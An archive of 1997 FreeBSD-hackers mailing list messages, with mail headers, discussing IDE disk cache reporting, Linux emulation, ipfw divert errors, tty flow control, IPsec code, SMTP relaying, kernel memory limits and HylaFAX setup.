a reference to anything authoratative on the subject? It's probable that some IDE disk vendors allow you to query the cache size using a vendor-specific command, but the thought of "removing" the cache memory from a repaired disk is laughable. The PCBA on a modern disk is worth no more than a few dollars; the _only_ economical means for "reapairing" it would be to throw it away and replace it. > Andrzej Bialecki FreeBSD: Turning PCs Into Workstations -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Jun 26 19:17:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA28506 for hackers-outgoing; Thu, 26 Jun 1997 19:17:52 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA28501 for ; Thu, 26 Jun 1997 19:17:46 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA08971; Fri, 27 Jun 1997 11:47:28 +0930 (CST) From: Michael Smith Message-Id: <199706270217.LAA08971@genesis.atrad.adelaide.edu.au> Subject: Re: Linux emulation problem? In-Reply-To: <199706262102.XAA10322@ocean.campus.luth.se> from Mikael Karpberg at "Jun 26, 97 11:02:01 pm" To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Fri, 27 Jun 1997 11:47:28 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Mikael Karpberg stands accused of saying: > > Umm... I ran into somthing I have no idea what it means: > > troot@ocean /compat/linux 76# brandelf /compat/linux/sbin/ldconfig > File '/compat/linux/sbin/ldconfig' is of brand 'Linux'. > troot@ocean /compat/linux 77# /compat/linux/sbin/ldconfig > ELF binary type not known > Abort > troot@ocean /compat/linux 78# > > Umm... Doesn't FreeBSD support ELF these days? And if not, why is an ELF > Linux program shipped in the linux-lib port?! > > I'm running 2.2-970627-RELENG, if that makes a difference... What makes a difference is that you haven't loaded the linux emulator LKM. Edit the linux= vlue in /etc/rc.conf to YES, reboot and try again. > /Mikael -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Jun 26 20:35:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA01585 for hackers-outgoing; Thu, 26 Jun 1997 20:35:52 -0700 (PDT) Received: from lab321.ru (root@anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA01576; Thu, 26 Jun 1997 20:35:40 -0700 (PDT) Received: from kev.l321.omsk.net.ru (kev.l321.omsk.net.ru [194.226.33.68]) by lab321.ru (8.8.6/8.8.5) with SMTP id KAA10215; Fri, 27 Jun 1997 10:38:31 +0700 (OSD) Message-ID: <33B3350E.6201DD56@lab321.ru> Date: Fri, 27 Jun 1997 10:35:42 +0700 From: Eugeny Kuzakov Organization: Internet - point of no return ! X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2.2-RELEASE i386) MIME-Version: 1.0 To: Alejandro Galindo Chairez CC: questions@FreeBSD.ORG, isp@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: ipfw: setsockopt failed References: <1.5.4.32.19970626200702.0068336c@io.com.mx> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Alejandro Galindo Chairez wrote: > > Hi > > I have the next problem: > > When the "ipfw flush" comand is executed the system send me the message: > > setsockopt failed > > or when i executed: > > ipfw add divert 32000 ip from any to any via ed1 for example > > the system send me the message > > 00000 divert 32000 ip from any to any via ed1 > ipfw: setsockopt(IP_FW_ADD): Invalid argument Just compile new kernel with options IPDIVERT&IPFIREWALL. -- Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru From owner-freebsd-hackers Thu Jun 26 23:40:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA06938 for hackers-outgoing; Thu, 26 Jun 1997 23:40:23 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA06932; Thu, 26 Jun 1997 23:40:18 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id PAA03407; Fri, 27 Jun 1997 15:40:02 +0900 (JST) To: freebsd-security@freebsd.org, freebsd-hackers@freebsd.org cc: freebsd-tech-jp@jp.freebsd.org Cc: Kenji Rikitake Subject: Re: ipsec code made in Japan X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: <17483.867288866@itojun.csl.sony.co.jp> In-reply-to: itojun@itojun.org's message of Thu, 26 Jun 1997 10:34:26 +0900. <17483.867288866@itojun.csl.sony.co.jp> X-Mailer: comp (MHng project) version 1997/04/30 02:23:09, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Fri, 27 Jun 1997 15:40:02 +0900 Message-ID: <3404.867393602@itojun.csl.sony.co.jp> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Regarding to IPsec package, >>Some more comments on the above experimental code: >>* ESP (Encapsulated Security Payload, which means encrypted packets) >> has some glitches yet on the 970623 version yet, causing data >> corruption on TCP applications such as ftp or ssh. Itojun and the >> developpers are working hard to fix the problem. > thanks kenji, I've put > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/BUGS > for this announcement :-) I've made a fix for this, so please fetch again the latest one. Thanks. itojun From owner-freebsd-hackers Fri Jun 27 00:36:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA09325 for hackers-outgoing; Fri, 27 Jun 1997 00:36:32 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA09319 for ; Fri, 27 Jun 1997 00:36:28 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id RAA16915; Fri, 27 Jun 1997 17:31:23 +1000 Date: Fri, 27 Jun 1997 17:31:23 +1000 From: Bruce Evans Message-Id: <199706270731.RAA16915@godzilla.zeta.org.au> To: hackers@freebsd.org, mcgovern@spoon.beta.com Subject: Re: XON/XOFF intrusion... Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >I'm having a problem with a driver where XON and XOFFs are being introduced >to the data stream, even when I have IXON, IXOFF, and IXANY turned off >in c_iflag. This shouldn't happen. Spurious XONs and XOFFs are only introduced into the output data stream when the line discipline is the default (termios) and IXOFF is set, at least by the machine-independent part of the driver. IXON and IXANY have no effect on the output data stream. >I know (through programming and printf()s) that c_iflag has the above >mentioned bits off, and that ((tp->t_rawq + tp->t_canq) < (TTYHOG / 2)). Perhaps IXOFF is actually set and tp->t_rawq + tp->t_canq grows soon after you look at it. I_HIGH_WATER is too small for some devices. Flow control won't work if the device ever buffers more than about 512 bytes of input. TTYHOG is too small for some devices. Flow control can't work if the device ever buffers more than about TTYHOG (= 1024) bytes of input. Drivers should read from the device often enough to reduce the burst length to <= 256. At 115200 bps, this means that they must read from the device at least once every 22.2 msec. In practice this means reading every clock tick. Bruce From owner-freebsd-hackers Fri Jun 27 00:56:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA09938 for hackers-outgoing; Fri, 27 Jun 1997 00:56:46 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA09932 for ; Fri, 27 Jun 1997 00:56:41 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id RAA17175; Fri, 27 Jun 1997 17:41:08 +1000 Date: Fri, 27 Jun 1997 17:41:08 +1000 From: Bruce Evans Message-Id: <199706270741.RAA17175@godzilla.zeta.org.au> To: bmcgover@cisco.com, hackers@freebsd.org Subject: Re: Clists limited to 1024 bytes? Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >It appears that l_rint will stop passing characters up at 19200 at around 1K >(or so t_rawq.cc states). Is there any way to safely increase this to around >8K, or even 16K? The reason I ask is that the board I'm working with has an No simple way. >8K receive buffer, and I'd like (for the sake of efficiency), be able to move >nearly a full buffer of data at once, but I seem to be limited by this number. You don't want to do this. At 19200 bps, an 8K buffer takes more than 4 seconds to fill. A latency of 4 seconds is normally about 400 times too large. At such a low speed, there is normally nothing better than delivering input in tiny bursts of 19-20 characters every 10 msec. Bruce From owner-freebsd-hackers Fri Jun 27 01:58:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA12523 for hackers-outgoing; Fri, 27 Jun 1997 01:58:22 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA12516 for ; Fri, 27 Jun 1997 01:58:17 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 25446 on Fri, 27 Jun 1997 08:48:44 GMT; id IAA25446 efrom: marc@nietzsche.bowtie.nl; eto: UNKNOWN Received: from localhost (localhost [127.0.0.1]) by nietzsche.bowtie.nl (8.8.2/8.7.3) with ESMTP id KAA16376; Fri, 27 Jun 1997 10:45:57 +0200 (MET DST) Message-Id: <199706270845.KAA16376@nietzsche.bowtie.nl> X-Mailer: exmh version 1.6.7 5/3/96 To: Terry Lambert cc: brandon@roguetrader.com (Brandon Gillespie), freebsd-hackers@FreeBSD.ORG Subject: Re: Be net friendly, add an 'abuse' alias to the distributed aliases file In-reply-to: terry's message of Thu, 26 Jun 1997 09:52:47 -0700. <199706261652.JAA07878@phaeton.artisoft.com> Reply-to: marc@bowtie.nl Date: Fri, 27 Jun 1997 10:45:57 +0200 From: Marc van Kempen Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Thats probably the longest subject I've ever had 8) > > > > Just a thought.. why dont we add an 'abuse' alias to the default aliases > > file, since its becoming a pretty standard address (like postmaster, and > > whatnot). > > See RFC2142. > Where can I find this RFC, I searched with altavista and opentext, but couldn't find it. ---------------------------------------------------- Marc van Kempen BowTie Technology Email: marc@bowtie.nl WWW & Databases tel. +31 40 2 43 20 65 fax. +31 40 2 44 21 86 http://www.bowtie.nl ---------------------------------------------------- From owner-freebsd-hackers Fri Jun 27 02:53:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA14132 for hackers-outgoing; Fri, 27 Jun 1997 02:53:39 -0700 (PDT) Received: from korin.warman.org.pl (korin.warman.org.pl [148.81.160.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA14127 for ; Fri, 27 Jun 1997 02:53:28 -0700 (PDT) Received: from localhost (abial@localhost) by korin.warman.org.pl (8.8.5/8.7.3) with SMTP id LAA14800; Fri, 27 Jun 1997 11:52:59 +0200 (MET DST) Date: Fri, 27 Jun 1997 11:52:59 +0200 (MET DST) From: Andrzej Bialecki To: Michael Smith cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Disk built-in hw cache In-Reply-To: <199706270205.LAA08899@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 27 Jun 1997, Michael Smith wrote: > Andrzej Bialecki stands accused of saying: > > > > I just read certain discussion on Linux list concerning > > bad/missing/removed disk cache in "repaired" (and sold as new) hard disks. > > Linux prints during probing the size of disk cache (at least that what the > > hd will tell it). How to achieve the same result in FreeBSD? There is a > > #ifdef WDDEBUG flag in wd.c, around some interesting printfs. Will it give > > me this info? > > Uhh, this sounds pretty bogus. Do you have a reference to anything > authoratative on the subject? No :-(. AFAIR from that discussion, IDE disks answer certain query by returning the info stored somwhere on cyl 0. How this info relates to reality is of course highly disputable (unless there are any specs on this). How it gets updated if the chip gets bad/missing is similarly vague. The original story goes like this: those folks bought some disks, saw the "0 kB cache" during startup, went to the seller who checked the disk with his diagnostic proggy (it also said "0 kB cache"), and then he started checking other units, using Linux boot flp & his program. To his surprise there were quite a few such units from one batch. They inquired the distributor and got very unconvincing (and rather nervous) response. Finally, they replaced those disks with other ones, which according to the proggy AND the Linux boot.flp (notice this persistent accordance) had non-zero amount of cache. > > It's probable that some IDE disk vendors allow you to query the cache > size using a vendor-specific command, but the thought of "removing" Well, AFAIK *we* query the buffersize in wd.c. What it reports is quite another story :-). Perhaps you think of a *real* test that would show the physical amount of the cache. And this likely is very vendor-specific. > size using a vendor-specific command, but the thought of "removing" > the cache memory from a repaired disk is laughable. The PCBA on a > modern disk is worth no more than a few dollars; the _only_ economical > means for "reapairing" it would be to throw it away and replace it. Except when it is done by home-grown expert, and then sold as new or a bargain. Sincerely yours, --- Andrzej Bialecki FreeBSD: Turning PCs Into Workstations http://www.freebsd.org Research and Academic Network in Poland From owner-freebsd-hackers Fri Jun 27 05:06:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA18286 for hackers-outgoing; Fri, 27 Jun 1997 05:06:18 -0700 (PDT) Received: from spoon.beta.com (root@[199.165.180.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA18281 for ; Fri, 27 Jun 1997 05:06:14 -0700 (PDT) Received: from spoon.beta.com (mcgovern@localhost [127.0.0.1]) by spoon.beta.com (8.8.5/8.8.5) with ESMTP id IAA16904; Fri, 27 Jun 1997 08:06:00 -0400 (EDT) Message-Id: <199706271206.IAA16904@spoon.beta.com> To: bde@zeta.org.au cc: hackers@freebsd.org Subject: Re: XON/XOFF intrusion Date: Fri, 27 Jun 1997 08:06:00 -0400 From: "Brian J. McGovern" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>I'm having a problem with a driver where XON and XOFFs are being introduced >>to the data stream, even when I have IXON, IXOFF, and IXANY turned off >>in c_iflag. > >This shouldn't happen. Spurious XONs and XOFFs are only introduced into >the output data stream when the line discipline is the default (termios) >and IXOFF is set, at least by the machine-independent part of the driver. >IXON and IXANY have no effect on the output data stream. > I agree completely. But take a look below... >>I know (through programming and printf()s) that c_iflag has the above >>mentioned bits off, and that ((tp->t_rawq + tp->t_canq) < (TTYHOG / 2)). > >Perhaps IXOFF is actually set and tp->t_rawq + tp->t_canq grows soon after >you look at it. > Nope. I have IX* printfs right in the interrupt handler. If it gets turned on, it'd have to get turned right back off again. The one routine that does do the setting of flow control has the values &= ~(...)'ed right before the hardware is set. Chances of it floating on elsewhere - slim to none (tho I won't say its 0) >I_HIGH_WATER is too small for some devices. Flow control won't work if >the device ever buffers more than about 512 bytes of input. TTYHOG is >too small for some devices. Flow control can't work if the device ever >buffers more than about TTYHOG (= 1024) bytes of input. Drivers should >read from the device often enough to reduce the burst length to <= 256. >At 115200 bps, this means that they must read from the device at least >once every 22.2 msec. In practice this means reading every clock tick. > Sounds about right. The device I'm playing with has 8K of onboard receive buffer. I'm using hardware-induced RTS/CTS signaling. The line disc. should never have to eat more characters than it wants at any given time. However, I did note one interesting thing in tty.c (/usr/src/sys/kern), starting on line 318 (version 2.2.1). Its the if statement that decides if ttyblock() gets called. I did some reduction of the expression, and got (in pseudo-code): if ( (tp clists > 512) && (!ICANON || tp->t_canq.c_cc != 0) && (CRTS_IFLOW || IXOFF) && !TS_BLOCK) I'd buy most of that as being reasonable, except the CRTS_IFLOW portion. Why would I want to introduce Xon/Xoff handling if I have CRTS_FLOW? Especially when this flag represents half of hardware flow control? I think it should be !CRTS_IFLOW. Or, more appropriately, it should be removed from the expression so that hardware and XON/XOFF flow control can be used at the same time if so desired (tho I can't see a rational as to why you'd really want to do that). Am I wrong? Am I missing something? Please, set me right. :) -Brian From owner-freebsd-hackers Fri Jun 27 05:13:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA18465 for hackers-outgoing; Fri, 27 Jun 1997 05:13:36 -0700 (PDT) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [209.49.144.254]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA18459 for ; Fri, 27 Jun 1997 05:13:34 -0700 (PDT) Message-Id: <199706271211.IAA11178@gatekeeper.itribe.net> Received: forwarded by SMTP 1.6.0. Date: Fri, 27 Jun 1997 08:12:37 -0400 (EDT) From: Jamie Bowden To: Terry Lambert cc: Giles Lean , rblim@aht.com, hackers@freebsd.org Subject: Re: talking in SMTP In-Reply-To: <199706262231.PAA08890@phaeton.artisoft.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997, Terry Lambert wrote: > Non-local addresses can be responded with "551 User not local". You > can give this response for a non-local source address, as well as a > non-local target address (ie: you refuse relaying). This also means you can't act as secondary MX for people you sell bandwidth to. Necessary for me, don't know how many others. Jamie Bowden System Administrator, iTRiBE.net From owner-freebsd-hackers Fri Jun 27 05:32:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA19298 for hackers-outgoing; Fri, 27 Jun 1997 05:32:05 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA19257 for ; Fri, 27 Jun 1997 05:32:00 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id WAA25213; Fri, 27 Jun 1997 22:27:08 +1000 Date: Fri, 27 Jun 1997 22:27:08 +1000 From: Bruce Evans Message-Id: <199706271227.WAA25213@godzilla.zeta.org.au> To: abial@korin.warman.org.pl, msmith@atrad.adelaide.edu.au Subject: Re: Disk built-in hw cache Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> > I just read certain discussion on Linux list concerning >> > bad/missing/removed disk cache in "repaired" (and sold as new) hard disks. >> > Linux prints during probing the size of disk cache (at least that what the >> > hd will tell it). How to achieve the same result in FreeBSD? There is a >> > #ifdef WDDEBUG flag in wd.c, around some interesting printfs. Will it give >> > me this info? >> >> Uhh, this sounds pretty bogus. Do you have a reference to anything >> authoratative on the subject? > >No :-(. AFAIR from that discussion, IDE disks answer certain query by >returning the info stored somwhere on cyl 0. How this info relates to It would probably be stored in the drive's firmware except on ancient drives. wdp_buffersize (in wdreg.h) is documented in the old draft of the ATA spec that I have (revision 4c). It is the "Buffer size in 512 byte increments (0000h=not specified)". `Buffer' doesn't seem to be specified. >The original story goes like this: those folks bought some disks, saw the >"0 kB cache" during startup, went to the seller who checked the disk with >his diagnostic proggy (it also said "0 kB cache"), and then he started The Linux ide-disk driver just prints wdp_buffersize. 0 means unspecified :-). It probably doesn't mean much. Bruce From owner-freebsd-hackers Fri Jun 27 05:35:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA19514 for hackers-outgoing; Fri, 27 Jun 1997 05:35:28 -0700 (PDT) Received: from kaori.communique.net (kaori.Communique.Net [204.27.65.55]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA19509 for ; Fri, 27 Jun 1997 05:35:25 -0700 (PDT) Received: by kaori.Communique.Net with Internet Mail Service (5.0.1457.3) id ; Fri, 27 Jun 1997 07:34:02 -0500 Message-ID: From: Raul Zighelboim To: "'freebsd-hackers@freefall.freebsd.org'" Subject: about MAXDSIZ and DFLDSIZ under 2.2.2-RELEASE Date: Fri, 27 Jun 1997 07:34:00 -0500 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [Raul Zighelboim] Hello! I posted the following to freebsd-questions, but I did not received any response (probably because I was not subscribed to that list :-( )..... So, here I go again: > Hello there... > > I am running a news server with 256megs or ram. At some point > every morning, afer running news.daily, the server has been crashing > with the message: > > SERVER cant remalloc 16323584 bytes Cannot allocate memory > > I think I should be able to prevent this from happening by allowing > news processes to use as much memory as they want (does this include > swap space ?) witht he two options: > > #options "MAXDSIZ=(256*1024*1024)" > #options "DFLDSIZ=(256*1024*1024)" > > but as it happens, whenever I enable them, nothing other than the > kernel will be able to run, with the message 'not enough memory to run > application' '-) > > I cannot find instructions anywhere (except under LINT) for this > options. > > So, the question: What is the correct format of these options, and > how do I build the kernel to allow inn (and other news processes) to > use as much memory as they want (as long as they dont crash the > system), while at the same time allowing me to run code (inn, for > example) on thte server ? > > Thanks. From owner-freebsd-hackers Fri Jun 27 05:37:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA19627 for hackers-outgoing; Fri, 27 Jun 1997 05:37:05 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA19622 for ; Fri, 27 Jun 1997 05:37:02 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id WAA25388; Fri, 27 Jun 1997 22:32:51 +1000 Date: Fri, 27 Jun 1997 22:32:51 +1000 From: Bruce Evans Message-Id: <199706271232.WAA25388@godzilla.zeta.org.au> To: bde@zeta.org.au, mcgovern@spoon.beta.com Subject: Re: XON/XOFF intrusion Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >However, I did note one interesting thing in tty.c (/usr/src/sys/kern), >starting on line 318 (version 2.2.1). Its the if statement that decides >if ttyblock() gets called. I did some reduction of the expression, >and got (in pseudo-code): > >if ( (tp clists > 512) && (!ICANON || tp->t_canq.c_cc != 0) && > (CRTS_IFLOW || IXOFF) && !TS_BLOCK) > >I'd buy most of that as being reasonable, except the CRTS_IFLOW portion. Why >would I want to introduce Xon/Xoff handling if I have CRTS_FLOW? Especially >when this flag represents half of hardware flow control? I think it should This is so that ttyblock() gets called to handle all types of flow control. Bruce From owner-freebsd-hackers Fri Jun 27 08:03:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA25349 for hackers-outgoing; Fri, 27 Jun 1997 08:03:39 -0700 (PDT) Received: from kaori.communique.net (kaori.Communique.Net [204.27.65.55]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA25344 for ; Fri, 27 Jun 1997 08:03:36 -0700 (PDT) Received: by kaori.Communique.Net with Internet Mail Service (5.0.1457.3) id ; Fri, 27 Jun 1997 10:02:08 -0500 Message-ID: From: Raul Zighelboim To: "'hackers@freefall.freebsd.org'" Cc: "HylaFAX-Mailingliste (E-Mail)" Subject: Hylafax, freebsd and modem server.... Date: Fri, 27 Jun 1997 10:02:06 -0500 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [RSZ] Hello there! I am trying to get Hylafax to run under FreeBSD 2.2.2; I am working with v3.0pl0 of hylafax, as newer versions will not compile under FreeBSD. I would like to be able to use a remote server (ascend max) to dial out. At this time, hylafax is running on the local serial port, /dev/ttyd0, and I can 'telnet modem-serv port-number' on the Max. Is there a way to get hylafax to use a tcp socket to conenct to a modem port ? Or.... Is there a way to create a 'device' under FreeBSD that would act as a modem but would connect to a remote modem... maybe even using a script to authenticate (you know, to send a password)... thanks From owner-freebsd-hackers Fri Jun 27 08:43:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA28012 for hackers-outgoing; Fri, 27 Jun 1997 08:43:44 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA27998 for ; Fri, 27 Jun 1997 08:43:37 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id AAA03883; Sat, 28 Jun 1997 00:43:20 +0900 (JST) To: Raul Zighelboim Cc: "'hackers@freefall.freebsd.org'" , "HylaFAX-Mailingliste (E-Mail)" Subject: Re: Hylafax, freebsd and modem server.... X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: In-reply-to: Raul Zighelboim 's message of Fri, 27 Jun 1997 10:02:06 -0500. X-Mailer: comp (MHng project) version 1997/04/30 02:23:09, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Sat, 28 Jun 1997 00:43:10 +0900 Message-ID: <3875.867426190@itojun.csl.sony.co.jp> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I am trying to get Hylafax to run under FreeBSD 2.2.2; >I am working with v3.0pl0 of hylafax, as newer versions will not compile >under FreeBSD. Do you mean that the /usr/ports/comms/hylafax does not work, or 4.0p1 from sgi.com does not work? if the latter case, please try the latest port directory at ftp://ftp.freebsd.org/pub/FreeBSD/ports-current/comms/hylafax. itojun From owner-freebsd-hackers Fri Jun 27 08:57:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA28556 for hackers-outgoing; Fri, 27 Jun 1997 08:57:24 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA28549 for ; Fri, 27 Jun 1997 08:57:18 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id IAA09901; Fri, 27 Jun 1997 08:43:46 -0700 From: Terry Lambert Message-Id: <199706271543.IAA09901@phaeton.artisoft.com> Subject: Re: Be net friendly, add an 'abuse' alias to the distributed aliases file To: marc@bowtie.nl Date: Fri, 27 Jun 1997 08:43:46 -0700 (MST) Cc: terry@lambert.org, brandon@roguetrader.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199706270845.KAA16376@nietzsche.bowtie.nl> from "Marc van Kempen" at Jun 27, 97 10:45:57 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Thats probably the longest subject I've ever had 8) > > > > > > Just a thought.. why dont we add an 'abuse' alias to the default aliases > > > file, since its becoming a pretty standard address (like postmaster, and > > > whatnot). > > > > See RFC2142. > > Where can I find this RFC, I searched with altavista and opentext, > but couldn't find it. RFC 2142: MAILBOX NAMES FOR COMMON SERVICES, ROLES AND FUNCTIONS ftp://ds.internic.net/rfc/rfc2142.txt http://www.cis.ohio-state.edu/htbin/rfc/rfc2142.html Here is the list: INFO Marketing Packaged information about the organization, products, and/or services, as appropriate MARKETING Marketing Product marketing and marketing communications SALES Sales Product purchase information SUPPORT Customer Service Problems with product or ABUSE Customer Relations Inappropriate public behaviour NOC Network Operations Network infrastructure SECURITY Network Security Security bulletins or queries POSTMASTER SMTP [RFC821], [RFC822] HOSTMASTER DNS [RFC1033-RFC1035] USENET NNTP [RFC977] NEWS NNTP Synonym for USENET WEBMASTER HTTP [RFC 2068] WWW HTTP Synonym for WEBMASTER UUCP UUCP [RFC976] FTP FTP [RFC959] Mailing lists: LIST Submission mailbox LIST-REQUEST Administrative mailbox LIST-SPECIFIC Required for specific list LIST-SPECIFIC-REQUEST Required for specific list Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Jun 27 08:59:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA28649 for hackers-outgoing; Fri, 27 Jun 1997 08:59:48 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA28640 for ; Fri, 27 Jun 1997 08:59:46 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id IAA09911; Fri, 27 Jun 1997 08:44:23 -0700 From: Terry Lambert Message-Id: <199706271544.IAA09911@phaeton.artisoft.com> Subject: Re: talking in SMTP To: jamie@itribe.net (Jamie Bowden) Date: Fri, 27 Jun 1997 08:44:22 -0700 